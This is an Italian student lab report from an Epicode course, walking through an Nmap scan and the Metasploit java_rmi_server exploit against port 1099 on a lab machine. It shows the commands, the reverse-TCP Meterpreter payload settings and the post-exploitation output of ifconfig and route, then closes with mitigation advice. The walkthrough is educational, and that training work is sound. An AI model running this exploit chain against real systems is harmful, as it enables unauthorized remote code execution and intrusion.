10/11/2023

Progetto Epicode

Christian Huamacto

Exploit con Meterpreter

Porta 1099 Java RMI

- Scansionare la macchina vittima con uno scanner per evidenziare la vulnerabilità.
- Una volta ottenuta una sessione remota Meterpreter, raccogliere le seguenti evidenze sulla macchina vittima: 1) configurazione di rete ; 2) informazioni sulla tabella di routing della macchina vittima.

Scansione con Nmap

Una volta impostate le macchine sulla stessa rete, si andrà a effettuare una scansione completa, con il comando **-A -T4**, della macchina vittima. Facendo in questo modo potremmo controllare le porte aperte e le relative informazioni.

Porta 1099 Java RMI

Sulla porta 1099 TCP è attivo un servizio Java-RMI, una tecnologia che consente a diversi processi Java di comunicare tra di loro attraverso una rete. La vulnerabilità in questione è dovuta ad una configurazione di default errata che permette ad un potenziale attaccante di iniettare codice arbitrario per ottenere accesso amministrativo alla macchina target.

Metasploit

una volta individuata la vulnerabilità, si inzierà con la fase di exploit. Aprendo il terminale con i permessi di root e immettendo il comando **msfconsole** si aprirà metasploit. Poi con comando **search** si andrà a cercare l'exploit che andremo poi ad utilizzare


```
msf6 > search java_rmi

Matching Modules
================

   #  Name                                                  Disclosure Date  Rank       Check  Description
   -  ----                                                  ---------------  ----       -----  -----------
   0  auxiliary/gather/java_rmi_registry                                     normal     No     Java RMI Registry Interfaces Enumeration
   1  exploit/multi/misc/java_rmi_server                    2011-10-15       excellent  Yes    Java RMI Server Insecure Default Configuration Java Code Execution
   2  auxiliary/scanner/misc/java_rmi_server                2011-10-15       normal     No     Java RMI Server Insecure Endpoint Code Execution Scanner
   3  exploit/multi/browser/java_rmi_connection_impl        2010-03-31       excellent  No     Java RMIConnectionImpl Deserialization Privilege Escalation
```

Dopo aver individuato l'exploit da utilizzare, lo selezioneremo con il comando **use**. Andremo poi a controllare i parametri da aggiungere, in questo caso dobbiamo settare l'indirizzo ip della macchina vittima con il comando **set rhosts**

```
msf6 > use 1
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   HTTPDELAY  10               yes       Time that the HTTP Server will wait for the payload request
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      1099             yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL for incoming connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                     no        The URI to use for this exploit (default is random)


Payload options (java/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.11.111   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Generic (Java Payload)
```

```
msf6 exploit(multi/misc/java_rmi_server) > set rhosts 192.168.11.112
rhosts ⇒ 192.168.11.112
```

Exploit

```
meterpreter > ifconfig

Interface  1
============
Name         : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::


Interface  2
============
Name         : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fead:b3d8
IPv6 Netmask : ::
```

```
meterpreter > route

IPv4 network routes
===================

    Subnet          Netmask        Gateway  Metric  Interface
    ------          -------        -------  ------  ---------
    127.0.0.1       255.0.0.0      0.0.0.0
    192.168.11.112  255.255.255.0  0.0.0.0

IPv6 network routes
===================

    Subnet                 Netmask  Gateway  Metric  Interface
    ------                 -------  -------  ------  ---------
    ::1                    ::       ::
    fe80::a00:27ff:fead:b3d8  ::       ::
```

Finito di settare l'exploit, lo faremo partire con il comando **run**. Se i payload sono stati settati correttamente Metasploit aprirà una shell di Meterpreter (siamo all'interno della macchina vittima). Alla fine con i comandi **ifconfig** e **route** recupero rispettivamente la configurazione di rete e la tabella di routing della macchina vittima

Consideriazioni finali

Vulnerabilty assessment

Questo tipo di vulnerabilità è considerata critica, proprio perché un attaccante può tranquillamente entrare all’interno del sistema e oltra a controllare varie info, come visto precedentemente, è possibile scaricare file dalla macchina vittima oppure immettere file o codice malevolo.
Per poter mitigare questa vulnerabilità si consiglia di utilizzare un firewall, che limita il trasferimento di dati tramite la porta 1099 con specifici indirizzi ip, in ambito aziendale, oppure di chiuderla nel caso non servisse (nel caso non avessimo applicazioni java che comunichino tra un client e l’altro)

Fine